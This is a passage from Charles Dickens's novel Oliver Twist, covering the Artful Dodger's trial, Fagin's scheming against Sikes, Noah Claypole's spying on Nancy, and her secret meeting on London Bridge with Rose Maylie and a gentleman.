+'Has the boy ever been here before?' + +'He ought to have been, a many times,' replied the jailer. 'He +has been pretty well everywhere else. _I_ know him well, your +worship.' + +'Oh! you know me, do you?' cried the Artful, making a note of the +statement. 'Wery good. That's a case of deformation of +character, any way.' + +Here there was another laugh, and another cry of silence. + +'Now then, where are the witnesses?' said the clerk. + +'Ah! that's right,' added the Dodger. 'Where are they? I should +like to see 'em.' + +This wish was immediately gratified, for a policeman stepped +forward who had seen the prisoner attempt the pocket of an +unknown gentleman in a crowd, and indeed take a handkerchief +therefrom, which, being a very old one, he deliberately put back +again, after trying it on his own countenance. For this reason, +he took the Dodger into custody as soon as he could get near him, +and the said Dodger, being searched, had upon his person a silver +snuff-box, with the owner's name engraved upon the lid. This +gentleman had been discovered on reference to the Court Guide, +and being then and there present, swore that the snuff-box was +his, and that he had missed it on the previous day, the moment he +had disengaged himself from the crowd before referred to. He had +also remarked a young gentleman in the throng, particularly +active in making his way about, and that young gentleman was the +prisoner before him. + +'Have you anything to ask this witness, boy?' said the +magistrate. + +'I wouldn't abase myself by descending to hold no conversation +with him,' replied the Dodger. + +'Have you anything to say at all?' + +'Do you hear his worship ask if you've anything to say?' inquired +the jailer, nudging the silent Dodger with his elbow. + +'I beg your pardon,' said the Dodger, looking up with an air of +abstraction. 'Did you redress yourself to me, my man?' + +'I never see such an out-and-out young wagabond, your worship,' +observed the officer with a grin. 'Do you mean to say anything, +you young shaver?' + +'No,' replied the Dodger, 'not here, for this ain't the shop for +justice: besides which, my attorney is a-breakfasting this +morning with the Wice President of the House of Commons; but I +shall have something to say elsewhere, and so will he, and so +will a wery numerous and 'spectable circle of acquaintance as'll +make them beaks wish they'd never been born, or that they'd got +their footmen to hang 'em up to their own hat-pegs, afore they +let 'em come out this morning to try it on upon me. I'll--' + +'There! He's fully committed!' interposed the clerk. 'Take him +away.' + +'Come on,' said the jailer. + +'Oh ah! I'll come on,' replied the Dodger, brushing his hat with +the palm of his hand. 'Ah! (to the Bench) it's no use your +looking frightened; I won't show you no mercy, not a ha'porth of +it. _You'll_ pay for this, my fine fellers. I wouldn't be you for +something! I wouldn't go free, now, if you was to fall down on +your knees and ask me. Here, carry me off to prison! Take me +away!' + +With these last words, the Dodger suffered himself to be led off +by the collar; threatening, till he got into the yard, to make a +parliamentary business of it; and then grinning in the officer's +face, with great glee and self-approval. + +Having seen him locked up by himself in a little cell, Noah made +the best of his way back to where he had left Master Bates. +After waiting here some time, he was joined by that young +gentleman, who had prudently abstained from showing himself until +he had looked carefully abroad from a snug retreat, and +ascertained that his new friend had not been followed by any +impertinent person. + +The two hastened back together, to bear to Mr. Fagin the +animating news that the Dodger was doing full justice to his +bringing-up, and establishing for himself a glorious reputation. + + + + +CHAPTER XLIV + +THE TIME ARRIVES FOR NANCY TO REDEEM HER PLEDGE TO ROSE MAYLIE. +SHE FAILS. + +Adept as she was, in all the arts of cunning and dissimulation, +the girl Nancy could not wholly conceal the effect which the +knowledge of the step she had taken, wrought upon her mind. She +remembered that both the crafty Jew and the brutal Sikes had +confided to her schemes, which had been hidden from all others: +in the full confidence that she was trustworthy and beyond the +reach of their suspicion. Vile as those schemes were, desperate +as were their originators, and bitter as were her feelings +towards Fagin, who had led her, step by step, deeper and deeper +down into an abyss of crime and misery, whence was no escape; +still, there were times when, even towards him, she felt some +relenting, lest her disclosure should bring him within the iron +grasp he had so long eluded, and he should fall at last--richly +as he merited such a fate--by her hand. + +But, these were the mere wanderings of a mind unable wholly to detach +itself from old companions and associations, though enabled to +fix itself steadily on one object, and resolved not to be turned +aside by any consideration. Her fears for Sikes would have been +more powerful inducements to recoil while there was yet time; but +she had stipulated that her secret should be rigidly kept, she +had dropped no clue which could lead to his discovery, she had +refused, even for his sake, a refuge from all the guilt and +wretchedness that encompasses her--and what more could she do! +She was resolved. + +Though all her mental struggles terminated in this conclusion, +they forced themselves upon her, again and again, and left their +traces too. She grew pale and thin, even within a few days. At +times, she took no heed of what was passing before her, or no +part in conversations where once, she would have been the +loudest. At other times, she laughed without merriment, and was +noisy without a moment afterwards--she sat silent and dejected, +brooding with her head upon her hands, while the very effort by +which she roused herself, told, more forcibly than even these +indications, that she was ill at ease, and that her thoughts were +occupied with matters very different and distant from those in +the course of discussion by her companions. + +It was Sunday night, and the bell of the nearest church struck +the hour. Sikes and the Jew were talking, but they paused to +listen. The girl looked up from the low seat on which she +crouched, and listened too. Eleven. + +'An hour this side of midnight,' said Sikes, raising the blind to +look out and returning to his seat. 'Dark and heavy it is too. +A good night for business this.' + +'Ah!' replied Fagin. 'What a pity, Bill, my dear, that there's +none quite ready to be done.' + +'You're right for once,' replied Sikes gruffly. 'It is a pity, +for I'm in the humour too.' + +Fagin sighed, and shook his head despondingly. + +'We must make up for lost time when we've got things into a good +train. That's all I know,' said Sikes. + +'That's the way to talk, my dear,' replied Fagin, venturing to +pat him on the shoulder. 'It does me good to hear you.' + +'Does you good, does it!' cried Sikes. 'Well, so be it.' + +'Ha! ha! ha!' laughed Fagin, as if he were relieved by even this +concession. 'You're like yourself to-night, Bill. Quite like +yourself.' + +'I don't feel like myself when you lay that withered old claw on +my shoulder, so take it away,' said Sikes, casting off the Jew's +hand. + +'It make you nervous, Bill,--reminds you of being nabbed, does +it?' said Fagin, determined not to be offended. + +'Reminds me of being nabbed by the devil,' returned Sikes. 'There +never was another man with such a face as yours, unless it was +your father, and I suppose _he_ is singeing his grizzled red beard +by this time, unless you came straight from the old 'un without +any father at all betwixt you; which I shouldn't wonder at, a +bit.' + +Fagin offered no reply to this compliment: but, pulling Sikes by +the sleeve, pointed his finger towards Nancy, who had taken +advantage of the foregoing conversation to put on her bonnet, and +was now leaving the room. + +'Hallo!' cried Sikes. 'Nance. Where's the gal going to at this +time of night?' + +'Not far.' + +'What answer's that?' retorted Sikes. 'Do you hear me?' + +'I don't know where,' replied the girl. + +'Then I do,' said Sikes, more in the spirit of obstinacy than +because he had any real objection to the girl going where she +listed. 'Nowhere. Sit down.' + +'I'm not well. I told you that before,' rejoined the girl. 'I +want a breath of air.' + +'Put your head out of the winder,' replied Sikes. + +'There's not enough there,' said the girl. 'I want it in the +street.' + +'Then you won't have it,' replied Sikes. With which assurance he +rose, locked the door, took the key out, and pulling her bonnet +from her head, flung it up to the top of an old press. 'There,' +said the robber. 'Now stop quietly where you are, will you?' + +'It's not such a matter as a bonnet would keep me,' said the girl +turning very pale. 'What do you mean, Bill? Do you know what +you're doing?' + +'Know what I'm--Oh!' cried Sikes, turning to Fagin, 'she's out of +her senses, you know, or she daren't talk to me in that way.' + +'You'll drive me on the something desperate,' muttered the girl +placing both hands upon her breast, as though to keep down by +force some violent outbreak. 'Let me go, will you,--this +minute--this instant.' + +'No!' said Sikes. + +'Tell him to let me go, Fagin. He had better. It'll be better +for him. Do you hear me?' cried Nancy stamping her foot upon the +ground. + +'Hear you!' repeated Sikes turning round in his chair to confront +her. 'Aye! And if I hear you for half a minute longer, the dog +shall have such a grip on your throat as'll tear some of that +screaming voice out. Wot has come over you, you jade! Wot is +it?' + +'Let me go,' said the girl with great earnestness; then sitting +herself down on the floor, before the door, she said, 'Bill, let +me go; you don't know what you are doing. You don't, indeed. For +only one hour--do--do!' + +'Cut my limbs off one by one!' cried Sikes, seizing her roughly +by the arm, 'If I don't think the gal's stark raving mad. Get +up.' + +'Not till you let me go--not till you let me go--Never--never!' +screamed the girl. Sikes looked on, for a minute, watching his +opportunity, and suddenly pinioning her hands dragged her, +struggling and wrestling with him by the way, into a small room +adjoining, where he sat himself on a bench, and thrusting her +into a chair, held her down by force. She struggled and implored +by turns until twelve o'clock had struck, and then, wearied and +exhausted, ceased to contest the point any further. With a +caution, backed by many oaths, to make no more efforts to go out +that night, Sikes left her to recover at leisure and rejoined +Fagin. + +'Whew!' said the housebreaker wiping the perspiration from his +face. 'Wot a precious strange gal that is!' + +'You may say that, Bill,' replied Fagin thoughtfully. 'You may +say that.' + +'Wot did she take it into her head to go out to-night for, do you +think?' asked Sikes. 'Come; you should know her better than me. +Wot does it mean?' + +'Obstinacy; woman's obstinacy, I suppose, my dear.' + +'Well, I suppose it is,' growled Sikes. 'I thought I had tamed +her, but she's as bad as ever.' + +'Worse,' said Fagin thoughtfully. 'I never knew her like this, +for such a little cause.' + +'Nor I,' said Sikes. 'I think she's got a touch of that fever in +her blood yet, and it won't come out--eh?' + +'Like enough.' + +'I'll let her a little blood, without troubling the doctor, if +she's took that way again,' said Sikes. + +Fagin nodded an expressive approval of this mode of treatment. + +'She was hanging about me all day, and night too, when I was +stretched on my back; and you, like a blackhearted wolf as you +are, kept yourself aloof,' said Sikes. 'We was poor too, all the +time, and I think, one way or other, it's worried and fretted +her; and that being shut up here so long has made her +restless--eh?' + +'That's it, my dear,' replied the Jew in a whisper. 'Hush!' + +As he uttered these words, the girl herself appeared and resumed +her former seat. Her eyes were swollen and red; she rocked +herself to and fro; tossed her head; and, after a little time, +burst out laughing. + +'Why, now she's on the other tack!' exclaimed Sikes, turning a +look of excessive surprise on his companion. + +Fagin nodded to him to take no further notice just then; and, in +a few minutes, the girl subsided into her accustomed demeanour. +Whispering Sikes that there was no fear of her relapsing, Fagin +took up his hat and bade him good-night. He paused when he +reached the room-door, and looking round, asked if somebody would +light him down the dark stairs. + +'Light him down,' said Sikes, who was filling his pipe. 'It's a +pity he should break his neck himself, and disappoint the +sight-seers. Show him a light.' + +Nancy followed the old man downstairs, with a candle. When they +reached the passage, he laid his finger on his lip, and drawing +close to the girl, said, in a whisper. + +'What is it, Nancy, dear?' + +'What do you mean?' replied the girl, in the same tone. + +'The reason of all this,' replied Fagin. 'If _he_'--he pointed +with his skinny fore-finger up the stairs--'is so hard with you +(he's a brute, Nance, a brute-beast), why don't you--' + +'Well?' said the girl, as Fagin paused, with his mouth almost +touching her ear, and his eyes looking into hers. + +'No matter just now. We'll talk of this again. You have a +friend in me, Nance; a staunch friend. I have the means at hand, +quiet and close. If you want revenge on those that treat you +like a dog--like a dog! worse than his dog, for he humours him +sometimes--come to me. I say, come to me. He is the mere hound +of a day, but you know me of old, Nance.' + +'I know you well,' replied the girl, without manifesting the +least emotion. 'Good-night.' + +She shrank back, as Fagin offered to lay his hand on hers, but +said good-night again, in a steady voice, and, answering his +parting look with a nod of intelligence, closed the door between +them. + +Fagin walked towards his home, intent upon the thoughts that were +working within his brain. He had conceived the idea--not from +what had just passed though that had tended to confirm him, but +slowly and by degrees--that Nancy, wearied of the housebreaker's +brutality, had conceived an attachment for some new friend. Her +altered manner, her repeated absences from home alone, her +comparative indifference to the interests of the gang for which +she had once been so zealous, and, added to these, her desperate +impatience to leave home that night at a particular hour, all +favoured the supposition, and rendered it, to him at least, +almost matter of certainty. The object of this new liking was +not among his myrmidons. He would be a valuable acquisition with +such an assistant as Nancy, and must (thus Fagin argued) be +secured without delay. + +There was another, and a darker object, to be gained. Sikes knew +too much, and his ruffian taunts had not galled Fagin the less, +because the wounds were hidden. The girl must know, well, that +if she shook him off, she could never be safe from his fury, and +that it would be surely wreaked--to the maiming of limbs, or +perhaps the loss of life--on the object of her more recent fancy. + +'With a little persuasion,' thought Fagin, 'what more likely than +that she would consent to poison him? Women have done such +things, and worse, to secure the same object before now. There +would be the dangerous villain: the man I hate: gone; another +secured in his place; and my influence over the girl, with a +knowledge of this crime to back it, unlimited.' + +These things passed through the mind of Fagin, during the short +time he sat alone, in the housebreaker's room; and with them +uppermost in his thoughts, he had taken the opportunity +afterwards afforded him, of sounding the girl in the broken hints +he threw out at parting. There was no expression of surprise, no +assumption of an inability to understand his meaning. The girl +clearly comprehended it. Her glance at parting showed _that_. + +But perhaps she would recoil from a plot to take the life of +Sikes, and that was one of the chief ends to be attained. 'How,' +thought Fagin, as he crept homeward, 'can I increase my influence +with her? What new power can I acquire?' + +Such brains are fertile in expedients. If, without extracting a +confession from herself, he laid a watch, discovered the object +of her altered regard, and threatened to reveal the whole history +to Sikes (of whom she stood in no common fear) unless she entered +into his designs, could he not secure her compliance? + +'I can,' said Fagin, almost aloud. 'She durst not refuse me +then. Not for her life, not for her life! I have it all. The +means are ready, and shall be set to work. I shall have you +yet!' + +He cast back a dark look, and a threatening motion of the hand, +towards the spot where he had left the bolder villain; and went +on his way: busying his bony hands in the folds of his tattered +garment, which he wrenched tightly in his grasp, as though there +were a hated enemy crushed with every motion of his fingers. + + + + +CHAPTER XLV + +NOAH CLAYPOLE IS EMPLOYED BY FAGIN ON A SECRET MISSION + +The old man was up, betimes, next morning, and waited impatiently +for the appearance of his new associate, who after a delay that +seemed interminable, at length presented himself, and commenced a +voracious assault on the breakfast. + +'Bolter,' said Fagin, drawing up a chair and seating himself +opposite Morris Bolter. + +'Well, here I am,' returned Noah. 'What's the matter? Don't yer +ask me to do anything till I have done eating. That's a great +fault in this place. Yer never get time enough over yer meals.' + +'You can talk as you eat, can't you?' said Fagin, cursing his +dear young friend's greediness from the very bottom of his heart. + +'Oh yes, I can talk. I get on better when I talk,' said Noah, +cutting a monstrous slice of bread. 'Where's Charlotte?' + +'Out,' said Fagin. 'I sent her out this morning with the other +young woman, because I wanted us to be alone.' + +'Oh!' said Noah. 'I wish yer'd ordered her to make some buttered +toast first. Well. Talk away. Yer won't interrupt me.' + +There seemed, indeed, no great fear of anything interrupting him, +as he had evidently sat down with a determination to do a great +deal of business. + +'You did well yesterday, my dear,' said Fagin. 'Beautiful! Six +shillings and ninepence halfpenny on the very first day! The +kinchin lay will be a fortune to you.' + +'Don't you forget to add three pint-pots and a milk-can,' said +Mr. Bolter. + +'No, no, my dear. The pint-pots were great strokes of genius: +but the milk-can was a perfect masterpiece.' + +'Pretty well, I think, for a beginner,' remarked Mr. Bolter +complacently. 'The pots I took off airy railings, and the +milk-can was standing by itself outside a public-house. I +thought it might get rusty with the rain, or catch cold, yer +know. Eh? Ha! ha! ha!' + +Fagin affected to laugh very heartily; and Mr. Bolter having had +his laugh out, took a series of large bites, which finished his +first hunk of bread and butter, and assisted himself to a second. + +'I want you, Bolter,' said Fagin, leaning over the table, 'to do +a piece of work for me, my dear, that needs great care and +caution.' + +'I say,' rejoined Bolter, 'don't yer go shoving me into danger, +or sending me any more o' yer police-offices. That don't suit me, +that don't; and so I tell yer.' + +'That's not the smallest danger in it--not the very smallest,' +said the Jew; 'it's only to dodge a woman.' + +'An old woman?' demanded Mr. Bolter. + +'A young one,' replied Fagin. + +'I can do that pretty well, I know,' said Bolter. 'I was a +regular cunning sneak when I was at school. What am I to dodge +her for? Not to--' + +'Not to do anything, but to tell me where she goes, who she sees, +and, if possible, what she says; to remember the street, if it is +a street, or the house, if it is a house; and to bring me back +all the information you can.' + +'What'll yer give me?' asked Noah, setting down his cup, and +looking his employer, eagerly, in the face. + +'If you do it well, a pound, my dear. One pound,' said Fagin, +wishing to interest him in the scent as much as possible. 'And +that's what I never gave yet, for any job of work where there +wasn't valuable consideration to be gained.' + +'Who is she?' inquired Noah. + +'One of us.' + +'Oh Lor!' cried Noah, curling up his nose. 'Yer doubtful of her, +are yer?' + +'She has found out some new friends, my dear, and I must know who +they are,' replied Fagin. + +'I see,' said Noah. 'Just to have the pleasure of knowing them, +if they're respectable people, eh? Ha! ha! ha! I'm your man.' + +'I knew you would be,' cried Fagin, elated by the success of his +proposal. + +'Of course, of course,' replied Noah. 'Where is she? Where am I +to wait for her? Where am I to go?' + +'All that, my dear, you shall hear from me. I'll point her out +at the proper time,' said Fagin. 'You keep ready, and leave the +rest to me.' + +That night, and the next, and the next again, the spy sat booted +and equipped in his carter's dress: ready to turn out at a word +from Fagin. Six nights passed--six long weary nights--and on +each, Fagin came home with a disappointed face, and briefly +intimated that it was not yet time. On the seventh, he returned +earlier, and with an exultation he could not conceal. It was +Sunday. + +'She goes abroad to-night,' said Fagin, 'and on the right errand, +I'm sure; for she has been alone all day, and the man she is +afraid of will not be back much before daybreak. Come with me. +Quick!' + +Noah started up without saying a word; for the Jew was in a state +of such intense excitement that it infected him. They left the +house stealthily, and hurrying through a labyrinth of streets, +arrived at length before a public-house, which Noah recognised as +the same in which he had slept, on the night of his arrival in +London. + +It was past eleven o'clock, and the door was closed. It opened +softly on its hinges as Fagin gave a low whistle. They entered, +without noise; and the door was closed behind them. + +Scarcely venturing to whisper, but substituting dumb show for +words, Fagin, and the young Jew who had admitted them, pointed +out the pane of glass to Noah, and signed to him to climb up and +observe the person in the adjoining room. + +'Is that the woman?' he asked, scarcely above his breath. + +Fagin nodded yes. + +'I can't see her face well,' whispered Noah. 'She is looking +down, and the candle is behind her. + +'Stay there,' whispered Fagin. He signed to Barney, who +withdrew. In an instant, the lad entered the room adjoining, +and, under pretence of snuffing the candle, moved it in the +required position, and, speaking to the girl, caused her to raise +her face. + +'I see her now,' cried the spy. + +'Plainly?' + +'I should know her among a thousand.' + +He hastily descended, as the room-door opened, and the girl came +out. Fagin drew him behind a small partition which was curtained +off, and they held their breaths as she passed within a few feet +of their place of concealment, and emerged by the door at which +they had entered. + +'Hist!' cried the lad who held the door. 'Dow.' + +Noah exchanged a look with Fagin, and darted out. + +'To the left,' whispered the lad; 'take the left had, and keep od +the other side.' + +He did so; and, by the light of the lamps, saw the girl's +retreating figure, already at some distance before him. He +advanced as near as he considered prudent, and kept on the +opposite side of the street, the better to observe her motions. +She looked nervously round, twice or thrice, and once stopped to +let two men who were following close behind her, pass on. She +seemed to gather courage as she advanced, and to walk with a +steadier and firmer step. The spy preserved the same relative +distance between them, and followed: with his eye upon her. + + + +CHAPTER XLVI + +THE APPOINTMENT KEPT + +The church clocks chimed three quarters past eleven, as two +figures emerged on London Bridge. One, which advanced with a +swift and rapid step, was that of a woman who looked eagerly +about her as though in quest of some expected object; the other +figure was that of a man, who slunk along in the deepest shadow +he could find, and, at some distance, accommodated his pace to +hers: stopping when she stopped: and as she moved again, +creeping stealthily on: but never allowing himself, in the +ardour of his pursuit, to gain upon her footsteps. Thus, they +crossed the bridge, from the Middlesex to the Surrey shore, when +the woman, apparently disappointed in her anxious scrutiny of the +foot-passengers, turned back. The movement was sudden; but he +who watched her, was not thrown off his guard by it; for, +shrinking into one of the recesses which surmount the piers of +the bridge, and leaning over the parapet the better to conceal +his figure, he suffered her to pass on the opposite pavement. +When she was about the same distance in advance as she had been +before, he slipped quietly down, and followed her again. At +nearly the centre of the bridge, she stopped. The man stopped +too. + +It was a very dark night. The day had been unfavourable, and at +that hour and place there were few people stirring. Such as there +were, hurried quickly past: very possibly without seeing, but +certainly without noticing, either the woman, or the man who kept +her in view. Their appearance was not calculated to attract the +importunate regards of such of London's destitute population, as +chanced to take their way over the bridge that night in search of +some cold arch or doorless hovel wherein to lay their heads; they +stood there in silence: neither speaking nor spoken to, by any +one who passed. + +A mist hung over the river, deepening the red glare of the fires +that burnt upon the small craft moored off the different wharfs, +and rendering darker and more indistinct the murky buildings on +the banks. The old smoke-stained storehouses on either side, +rose heavy and dull from the dense mass of roofs and gables, and +frowned sternly upon water too black to reflect even their +lumbering shapes. The tower of old Saint Saviour's Church, and +the spire of Saint Magnus, so long the giant-warders of the +ancient bridge, were visible in the gloom; but the forest of +shipping below bridge, and the thickly scattered spires of +churches above, were nearly all hidden from sight. + +The girl had taken a few restless turns to and fro--closely +watched meanwhile by her hidden observer--when the heavy bell of +St. Paul's tolled for the death of another day. Midnight had +come upon the crowded city. The palace, the night-cellar, the +jail, the madhouse: the chambers of birth and death, of health +and sickness, the rigid face of the corpse and the calm sleep of +the child: midnight was upon them all. + +The hour had not struck two minutes, when a young lady, +accompanied by a grey-haired gentleman, alighted from a +hackney-carriage within a short distance of the bridge, and, +having dismissed the vehicle, walked straight towards it. They +had scarcely set foot upon its pavement, when the girl started, +and immediately made towards them. + +They walked onward, looking about them with the air of persons +who entertained some very slight expectation which had little +chance of being realised, when they were suddenly joined by this +new associate. They halted with an exclamation of surprise, but +suppressed it immediately; for a man in the garments of a +countryman came close up--brushed against them, indeed--at that +precise moment. + +'Not here,' said Nancy hurriedly, 'I am afraid to speak to you +here. Come away--out of the public road--down the steps yonder!' + +As she uttered these words, and indicated, with her hand, the +direction in which she wished them to proceed, the countryman +looked round, and roughly asking what they took up the whole +pavement for, passed on. + +The steps to which the girl had pointed, were those which, on the +Surrey bank, and on the same side of the bridge as Saint +Saviour's Church, form a landing-stairs from the river. To this +spot, the man bearing the appearance of a countryman, hastened +unobserved; and after a moment's survey of the place, he began to +descend. + +These stairs are a part of the bridge; they consist of three +flights. Just below the end of the second, going down, the stone +wall on the left terminates in an ornamental pilaster facing +towards the Thames. At this point the lower steps widen: so +that a person turning that angle of the wall, is necessarily +unseen by any others on the stairs who chance to be above him, if +only a step. The countryman looked hastily round, when he reached +this point; and as there seemed no better place of concealment, +and, the tide being out, there was plenty of room, he slipped +aside, with his back to the pilaster, and there waited: pretty +certain that they would come no lower, and that even if he could +not hear what was said, he could follow them again, with safety. + +So tardily stole the time in this lonely place, and so eager was +the spy to penetrate the motives of an interview so different +from what he had been led to expect, that he more than once gave +the matter up for lost, and persuaded himself, either that they +had stopped far above, or had resorted to some entirely different +spot to hold their mysterious conversation. He was on the point +of emerging from his hiding-place, and regaining the road above, +when he heard the sound of footsteps, and directly afterwards of +voices almost close at his ear. + +He drew himself straight upright against the wall, and, scarcely +breathing, listened attentively. + +'This is far enough,' said a voice, which was evidently that of +the gentleman. 'I will not suffer the young lady to go any +farther. Many people would have distrusted you too much to have +come even so far, but you see I am willing to humour you.' + +'To humour me!' cried the voice of the girl whom he had followed. +'You're considerate, indeed, sir. To humour me! Well, well, +it's no matter.' + +'Why, for what,' said the gentleman in a kinder tone, 'for what +purpose can you have brought us to this strange place? Why not +have let me speak to you, above there, where it is light, and +there is something stirring, instead of bringing us to this dark +and dismal hole?' + +'I told you before,' replied Nancy, 'that I was afraid to speak +to you there. I don't know why it is,' said the girl, +shuddering, 'but I have such a fear and dread upon me to-night +that I can hardly stand.' + +'A fear of what?' asked the gentleman, who seemed to pity her. + +'I scarcely know of what,' replied the girl. 'I wish I did. +Horrible thoughts of death, and shrouds with blood upon them, and +a fear that has made me burn as if I was on fire, have been upon +me all day. I was reading a book to-night, to wile the time +away, and the same things came into the print.' + +'Imagination,' said the gentleman, soothing her. + +'No imagination,' replied the girl in a hoarse voice. 'I'll swear +I saw "coffin" written in every page of the book in large black +letters,--aye, and they carried one close to me, in the streets +to-night.' + +'There is nothing unusual in that,' said the gentleman. 'They +have passed me often.' + +'_Real ones_,' rejoined the girl. 'This was not.' + +There was something so uncommon in her manner, that the flesh of +the concealed listener crept as he heard the girl utter these +words, and the blood chilled within him. He had never +experienced a greater relief than in hearing the sweet voice of +the young lady as she begged her to be calm, and not allow +herself to become the prey of such fearful fancies. + +'Speak to her kindly,' said the young lady to her companion. +'Poor creature! She seems to need it.' + +'Your haughty religious people would have held their heads up to +see me as I am to-night, and preached of flames and vengeance,' +cried the girl. 'Oh, dear lady, why ar'n't those who claim to be +God's own folks as gentle and as kind to us poor wretches as you, +who, having youth, and beauty, and all that they have lost, might +be a little proud instead of so much humbler?' + +'Ah!' said the gentleman. 'A Turk turns his face, after washing +it well, to the East, when he says his prayers; these good +people, after giving their faces such a rub against the World as +to take the smiles off, turn with no less regularity, to the +darkest side of Heaven. Between the Mussulman and the Pharisee, +commend me to the first!' + +These words appeared to be addressed to the young lady, and were +perhaps uttered with the view of affording Nancy time to recover +herself. The gentleman, shortly afterwards, addressed himself to +her. + +'You were not here last Sunday night,' he said. + +'I couldn't come,' replied Nancy; 'I was kept by force.' + +'By whom?' + +'Him that I told the young lady of before.' + +'You were not suspected of holding any communication with anybody +on the subject which has brought us here to-night, I hope?' asked +the old gentleman. + +'No,' replied the girl, shaking her head. 'It's not very easy +for me to leave him unless he knows why; I couldn't give him a +drink of laudanum before I came away.' + +'Did he awake before you returned?' inquired the gentleman. + +'No; and neither he nor any of them suspect me.' + +'Good,' said the gentleman. 'Now listen to me.' + +'I am ready,' replied the girl, as he paused for a moment. + +'This young lady,' the gentleman began, 'has communicated to me, +and to some other friends who can be safely trusted, what you +told her nearly a fortnight since. I confess to you that I had +doubts, at first, whether you were to be implicitly relied upon, +but now I firmly believe you are.' + +'I am,' said the girl earnestly. + +'I repeat that I firmly believe it. To prove to you that I am +disposed to trust you, I tell you without reserve, that we +propose to extort the secret, whatever it may be, from the fear +of this man Monks. But if--if--' said the gentleman, 'he cannot +be secured, or, if secured, cannot be acted upon as we wish, you +must deliver up the Jew.' + +'Fagin,' cried the girl, recoiling. + +'That man must be delivered up by you,' said the gentleman. + +'I will not do it! I will never do it!' replied the girl. 'Devil +that he is, and worse than devil as he has been to me, I will +never do that.' + +'You will not?' said the gentleman, who seemed fully prepared for +this answer. + +'Never!' returned the girl. + +'Tell me why?' + +'For one reason,' rejoined the girl firmly, 'for one reason, that +the lady knows and will stand by me in, I know she will, for I +have her promise: and for this other reason, besides, that, bad +life as he has led, I have led a bad life too; there are many of +us who have kept the same courses together, and I'll not turn +upon them, who might--any of them--have turned upon me, but +didn't, bad as they are.' + +'Then,' said the gentleman, quickly, as if this had been the +point he had been aiming to attain; 'put Monks into my hands, and +leave him to me to deal with.' + +'What if he turns against the others?' + +'I promise you that in that case, if the truth is forced from +him, there the matter will rest; there must be circumstances in +Oliver's little history which it would be painful to drag before +the public eye, and if the truth is once elicited, they shall go +scot free.' + +'And if it is not?' suggested the girl. + +'Then,' pursued the gentleman, 'this Fagin shall not be brought +to justice without your consent. In such a case I could show you +reasons, I think, which would induce you to yield it.' + +'Have I the lady's promise for that?' asked the girl. + +'You have,' replied Rose. 'My true and faithful pledge.' + +'Monks would never learn how you knew what you do?' said the +girl, after a short pause. + +'Never,' replied the gentleman. 'The intelligence should be +brought to bear upon him, that he could never even guess.' + +'I have been a liar, and among liars from a little child,' said +the girl after another interval of silence, 'but I will take your +words.' + +After receiving an assurance from both, that she might safely do +so, she proceeded in a voice so low that it was often difficult +for the listener to discover even the purport of what she said, +to describe, by name and situation, the public-house whence she +had been followed that night. From the manner in which she +occasionally paused, it appeared as if the gentleman were making +some hasty notes of the information she communicated. When she +had thoroughly explained the localities of the place, the best +position from which to watch it without exciting observation, and +the night and hour on which Monks was most in the habit of +frequenting it, she seemed to consider for a few moments, for the +purpose of recalling his features and appearances more forcibly +to her recollection. + +'He is tall,' said the girl, 'and a strongly made man, but not +stout; he has a lurking walk; and as he walks, constantly looks +over his shoulder, first on one side, and then on the other. +Don't forget that, for his eyes are sunk in his head so much +deeper than any other man's, that you might almost tell him by +that alone. His face is dark, like his hair and eyes; and, +although he can't be more than six or eight and twenty, withered +and haggard. His lips are often discoloured and disfigured with +the marks of teeth; for he has desperate fits, and sometimes even +bites his hands and covers them with wounds--why did you start?' +said the girl, stopping suddenly. + +The gentleman replied, in a hurried manner, that he was not +conscious of having done so, and begged her to proceed. + +'Part of this,' said the girl, 'I have drawn out from other +people at the house I tell you of, for I have only seen him +twice, and both times he was covered up in a large cloak. I +think that's all I can give you to know him by. Stay though,' +she added. 'Upon his throat: so high that you can see a part of +it below his neckerchief when he turns his face: there is--' + +'A broad red mark, like a burn or scald?' cried the gentleman. + +'How's this?' said the girl. 'You know him!' + +The young lady uttered a cry of surprise, and for a few moments +they were so still that the listener could distinctly hear them +breathe. + +'I think I do,' said the gentleman, breaking silence. 'I should +by your description. We shall see. Many people are singularly +like each other. It may not be the same.' + +As he expressed himself to this effect, with assumed +carelessness, he took a step or two nearer the concealed spy, as +the latter could tell from the distinctness with which he heard +him mutter, 'It must be he!' + +'Now,' he said, returning: so it seemed by the sound: to the +spot where he had stood before, 'you have given us most valuable +assistance, young woman, and I wish you to be the better for it. +What can I do to serve you?' + +'Nothing,' replied Nancy. + +'You will not persist in saying that,' rejoined the gentleman, +with a voice and emphasis of kindness that might have touched a +much harder and more obdurate heart. 'Think now. Tell me.' + +'Nothing, sir,' rejoined the girl, weeping. 'You can do nothing +to help me. I am past all hope, indeed.' + +'You put yourself beyond its pale,' said the gentleman. 'The past +has been a dreary waste with you, of youthful energies mis-spent, +and such priceless treasures lavished, as the Creator bestows but +once and never grants again, but, for the future, you may hope. +I do not say that it is in our power to offer you peace of heart +and mind, for that must come as you seek it; but a quiet asylum, +either in England, or, if you fear to remain here, in some +foreign country, it is not only within the compass of our ability +but our most anxious wish to secure you. Before the dawn of +morning, before this river wakes to the first glimpse of +day-light, you shall be placed as entirely beyond the reach of +your former associates, and leave as utter an absence of all +trace behind you, as if you were to disappear from the earth this +moment. Come! I would not have you go back to exchange one word +with any old companion, or take one look at any old haunt, or +breathe the very air which is pestilence and death to you. Quit +them all, while there is time and opportunity!' + +'She will be persuaded now,' cried the young lady. 'She +hesitates, I am sure.' + +'I fear not, my dear,' said the gentleman. + +'No sir, I do not,' replied the girl, after a short struggle. 'I +am chained to my old life. I loathe and hate it now, but I +cannot leave it. I must have gone too far to turn back,--and yet +I don't know, for if you had spoken to me so, some time ago, I +should have laughed it off. But,' she said, looking hastily +round, 'this fear comes over me again. I must go home.' + +'Home!' repeated the young lady, with great stress upon the word. + +'Home, lady,' rejoined the girl. 'To such a home as I have +raised for myself with the work of my whole life. Let us part. +I shall be watched or seen. Go! Go! If I have done you any +service all I ask is, that you leave me, and let me go my way +alone.' + +'It is useless,' said the gentleman, with a sigh. 'We compromise +her safety, perhaps, by staying here. We may have detained her +longer than she expected already.' + +'Yes, yes,' urged the girl. 'You have.' + +'What,' cried the young lady, 'can be the end of this poor +creature's life!' + +'What!' repeated the girl. 'Look before you, lady. Look at that +dark water. How many times do you read of such as I who spring +into the tide, and leave no living thing, to care for, or bewail +them. It may be years hence, or it may be only months, but I +shall come to that at last.' + +'Do not speak thus, pray,' returned the young lady, sobbing. + +'It will never reach your ears, dear lady, and God forbid such +horrors should!' replied the girl. 'Good-night, good-night!' + +The gentleman turned away. + +'This purse,' cried the young 